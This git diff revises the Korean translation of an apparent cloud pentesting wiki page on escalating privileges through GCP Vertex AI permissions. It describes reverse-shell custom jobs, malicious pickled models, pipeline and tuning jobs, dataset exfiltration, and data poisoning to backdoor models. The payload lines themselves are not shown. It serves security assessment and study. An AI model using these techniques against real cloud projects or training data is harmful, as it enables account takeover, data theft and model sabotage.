diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
index 310c94e21..d43737349 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
@@ -4,7 +4,7 @@
## Vertex AI
-Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
+Vertex AI에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
@@ -12,15 +12,15 @@ Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
-`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한이 상승된 상태에서 임의의 코드를 실행할 수 있습니다**.
+`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태로 임의의 코드를 실행할 수 있습니다.**
-이 동작은 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)을 생성함으로써 이루어집니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 Google 관리 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
+이는 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)를 생성함으로써 작동합니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 GCP가 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
-**Impact**: 대상 서비스 계정 권한으로의 완전한 권한 상승.
+**영향**: 대상 서비스 계정의 권한으로 완전한 권한 상승.
-reverse shell을 실행하는 custom job 생성
+reverse shell로 custom job 생성
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region=
```
-> [!CAUTION]
-> 커스텀 작업은 지정한 서비스 계정의 권한으로 실행됩니다. 대상 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 있는지 확인하세요.
### `aiplatform.models.upload`, `aiplatform.models.get`
-이 기법은 모델을 Vertex AI에 업로드한 다음, 엔드포인트 배포(endpoint deployment) 또는 배치 예측 작업(batch prediction job)을 통해 해당 모델을 이용하여 권한이 상승된 상태로 코드를 실행함으로써 권한 상승을 달성합니다.
+이 기술은 모델을 Vertex AI에 업로드한 다음, 해당 모델을 endpoint 배포 또는 batch prediction job을 통해 권한이 상승된 상태로 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.
> [!NOTE]
-> 이 공격을 수행하려면 모델 아티팩트를 업로드할 수 있도록 공개 읽기 가능한 GCS 버킷이 있거나 새로 생성해야 합니다.
+> 이 공격을 수행하려면 모델 아티팩트를 업로드하기 위해 모든 사용자가 읽을 수 있는 GCS 버킷이 있거나 새로 생성해야 합니다.
-reverse shell이 포함된 악성 pickled 모델 업로드
+Upload malicious pickled model with reverse shell
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -145,16 +143,16 @@ gcloud ai models upload \
> [!DANGER]
-> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용하기를 기다리거나, endpoint 배포나 batch prediction job을 통해 직접 모델을 실행할 수 있습니다.
+> 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용할 때까지 기다리거나, 엔드포인트 배포 또는 배치 예측 작업을 통해 자신이 직접 모델을 실행할 수 있습니다.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
-만약 모델을 endpoint에 생성하고 배포할 권한이 있거나 endpoint IAM 정책을 수정할 수 있다면, 프로젝트에 업로드된 악성 모델을 활용해 privilege escalation을 달성할 수 있습니다. 업로드된 악성 모델 중 하나를 endpoint를 통해 실행하려면, 다음을 수행하면 됩니다:
+엔드포인트에 모델을 생성·배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있으면, 프로젝트에 업로드된 악성 모델을 이용해 권한 상승을 달성할 수 있습니다. 엔드포인트를 통해 이전에 업로드된 악성 모델 중 하나를 트리거하려면 다음을 수행하면 됩니다:
-악성 모델을 endpoint에 배포
+엔드포인트에 악성 모델 배포
```bash
# Create an endpoint
gcloud ai endpoints create \
@@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
-권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있다면 metadata service에 접근할 수 있습니다. 악성 코드는 배치 예측 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
+권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 메타데이터 서비스에 접근할 수 있습니다. 악성 코드는 배치 예측 과정 중 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
-**참고**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원 없음).
+**Note**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI는 지원하지 않음).
> [!NOTE]
-> 이 공격을 수행하려면 먼저 malicious model을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드를 포함한 custom prediction container를 사용해야 합니다.
+> 이 공격은 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드가 포함된 custom prediction container를 사용하는 것을 요구합니다.
@@ -240,10 +238,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
-**models.export** 권한이 있으면 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
+만약 **models.export** 권한이 있다면, 모델 아티팩트를 사용자가 제어하는 GCS 버킷으로 내보낼 수 있으며, 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
> [!NOTE]
-> 이 공격을 수행하려면 모두가 읽기 및 쓰기 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 GCS 버킷을 생성해야 합니다.
+> 이 공격을 수행하려면 모든 사용자에게 읽기 및 쓰기가 허용된 GCS 버킷이 있거나, 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
@@ -274,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
-임의의 컨테이너로 여러 단계를 실행하고 reverse shell 접근을 통해 권한 상승을 달성하는 **ML pipeline jobs**를 생성합니다.
+임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다.
-파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 다단계 공격을 지원하므로 권한 상승에 특히 강력합니다.
+파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다.
> [!NOTE]
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
-Install Vertex AI SDK
+Vertex AI SDK 설치
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
@@ -292,7 +290,7 @@ pip install google-cloud-aiplatform
-reverse shell 컨테이너로 파이프라인 작업 생성
+리버스 셸 컨테이너로 파이프라인 작업 생성
```python
#!/usr/bin/env python3
import json
@@ -386,15 +384,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
-권한이 상승된 상태에서 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 custom training containers를 통해 생성합니다.
+custom training containers를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.
-Hyperparameter tuning jobs는 서로 다른 hyperparameter 값으로 여러 training trial을 병렬로 실행할 수 있게 합니다. 악성 컨테이너에 reverse shell 또는 exfiltration 명령을 포함시키고 이를 권한 있는 service account에 연관시키면 privilege escalation을 달성할 수 있습니다.
+Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account에 연결하면 privilege escalation을 달성할 수 있습니다.
-**영향**: 대상 service account의 권한으로의 완전한 privilege escalation.
+**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.
-reverse shell로 hyperparameter tuning job 생성
+hyperparameter tuning job 생성 (reverse shell 포함)
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
-민감한 정보를 포함할 수 있는 훈련 데이터를 exfiltrate하기 위해 **데이터셋**을 export합니다.
+**datasets**를 내보내어 민감한 정보를 포함할 수 있는 학습 데이터(training data)를 exfiltrate합니다.
-**Note**: 데이터셋 작업은 REST API 또는 Python SDK 필요(데이터셋에 대해 gcloud CLI 미지원).
+**참고**: Dataset 작업은 REST API 또는 Python SDK가 필요합니다 (gcloud CLI는 datasets에 대한 지원 없음).
-데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 이는 PII, 기밀 사업 데이터 또는 프로덕션 모델을 학습하는 데 사용된 다른 민감한 정보를 포함할 수 있습니다.
+Datasets는 종종 원본 학습 데이터(original training data)를 포함하며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델을 학습시키는 데 사용된 기타 민감한 정보가 포함될 수 있습니다.
-훈련 데이터를 exfiltrate하기 위해 데이터셋을 export
+Export dataset to exfiltrate training data
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,21 +490,21 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
-기존 데이터셋에 악성 또는 poisoned 데이터를 import하여 **모델 학습을 조작하고 백도어를 심습니다**.
+기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다.
-**참고**: 데이터셋 작업은 REST API 또는 Python SDK를 사용해야 합니다 (datasets에 대한 gcloud CLI 지원 없음).
+**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음).
-학습에 사용되는 데이터셋에 조작된 데이터를 import하면 공격자는 다음을 수행할 수 있습니다:
-- 모델에 백도어를 삽입하여 특정 트리거로 오분류 유발 (trigger-based misclassification)
-- training 데이터를 Poison하여 모델 성능을 저하시킴
-- 데이터를 주입해 모델이 정보를 leak 하게 만듦
+학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
+- 모델에 backdoors를 도입 (trigger-based misclassification)
+- training 데이터를 poison하여 모델 성능을 저하
+- 모델이 정보를 leak하도록 데이터 주입
- 특정 입력에 대해 모델 동작을 조작
-이 공격은 특히 다음 용도의 데이터셋을 노릴 때 효과적입니다:
-- 이미지 분류 (잘못 라벨된 이미지 주입)
-- 텍스트 분류 (편향되거나 악성 텍스트 주입)
-- 객체 탐지 (바운딩 박스 조작)
-- 추천 시스템 (가짜 선호도 주입)
+이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다:
+- 이미지 분류 (inject mislabeled images)
+- 텍스트 분류 (inject biased or malicious text)
+- 객체 탐지 (manipulate bounding boxes)
+- 추천 시스템 (inject fake preferences)
@@ -571,7 +569,7 @@ curl -s -X GET \
-백도어 공격 - 이미지 분류
+Backdoor attack - Image classification
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -598,7 +596,7 @@ done > label_flip.jsonl
-모델 추출을 위한 데이터 포이즈닝
+model extraction을 위한 Data poisoning
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -612,7 +610,7 @@ EOF
-특정 대상에 대한 표적 공격
+특정 엔터티를 대상으로 한 표적 공격
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
@@ -625,39 +623,38 @@ EOF
> [!DANGER]
-> Data poisoning attacks can have severe consequences:
-> - **Security systems**: 얼굴 인식이나 이상 탐지를 우회할 수 있습니다
-> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킬 수 있습니다
-> - **Content moderation**: 유해한 콘텐츠가 안전하다고 분류되도록 만들 수 있습니다
-> - **Medical AI**: 중요한 건강 상태를 잘못 분류할 수 있습니다
-> - **Autonomous systems**: 안전에 중요한 판단을 위해 객체 탐지를 조작할 수 있습니다
->
-> **Impact**:
-> - Backdoored models that misclassify on specific triggers
-> - 모델 성능 및 정확도 저하
-> - 편향된 모델이 특정 입력을 차별함
-> - Information leakage through model behavior
-> - 장기적 지속성 (poisoned data로 학습된 모델은 백도어를 물려받음)
->
+> 데이터 포이즈닝 공격은 심각한 결과를 초래할 수 있습니다:
+> - **Security systems**: 안면 인식이나 이상 탐지를 우회
+> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킴
+> - **Content moderation**: 유해 콘텐츠가 안전한 것으로 분류되게 함
+> - **Medical AI**: 중요한 건강 상태를 오분류하게 함
+> - **Autonomous systems**: 안전에 중요한 판단을 위해 물체 인식을 조작
+
+**영향**:
+- 특정 트리거에서 오분류하는 백도어된 모델
+- 모델 성능 및 정확도 저하
+- 특정 입력에 대해 차별적인 편향 모델
+- 모델 행동을 통한 정보 유출
+- 장기적 지속성(오염된 데이터로 학습된 모델은 백도어를 상속함)
+
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
-> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
-> Vertex AI Workbench Executor는 지정된 service account로 Vertex AI custom training 인프라에서 실행되는 notebook 실행을 예약할 수 있게 해줍니다. 본질적으로 `customJobs.create`의 편의 래퍼입니다.
-> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
->
+> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API는 Vertex AI Workbench Managed Notebooks의 폐기로 인해 더 이상 권장되지 않습니다. 최신 방식은 노트북을 `aiplatform.customJobs.create`를 통해 실행하는 **Vertex AI Workbench Executor**를 사용하는 것입니다(위에서 이미 설명됨).
+> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI 커스텀 트레이닝 인프라에서 실행되는 노트북 실행을 예약할 수 있게 해줍니다. 본질적으로 이는 `customJobs.create`의 편의성 래퍼입니다.
+> **노트북을 통한 권한 상승을 위해**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요. 이는 더 빠르고, 더 신뢰할 수 있으며, Workbench Executor와 동일한 기반 인프라를 사용합니다.
-**The following technique is provided for historical context only and is not recommended for use in new assessments.**
+**다음 기법은 역사적 맥락을 위해 제공되며 새로운 평가에서는 사용을 권장하지 않습니다.**
-Create **notebook execution jobs** that run Jupyter notebooks with arbitrary code.
+임의의 코드를 실행하는 Jupyter 노트북을 실행하는 **노트북 실행 작업**을 생성하세요.
-Notebook jobs are ideal for interactive-style code execution with a service account, as they support Python code cells and shell commands.
+노트북 작업은 Python 코드 셀과 셸 명령을 지원하므로 서비스 계정으로 인터랙티브한 형태의 코드 실행에 적합합니다.
-악성 notebook 파일 생성
+악성 노트북 파일 생성
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
@@ -684,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-타깃 서비스 계정으로 노트북 실행
+대상 서비스 계정으로 노트북 실행
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"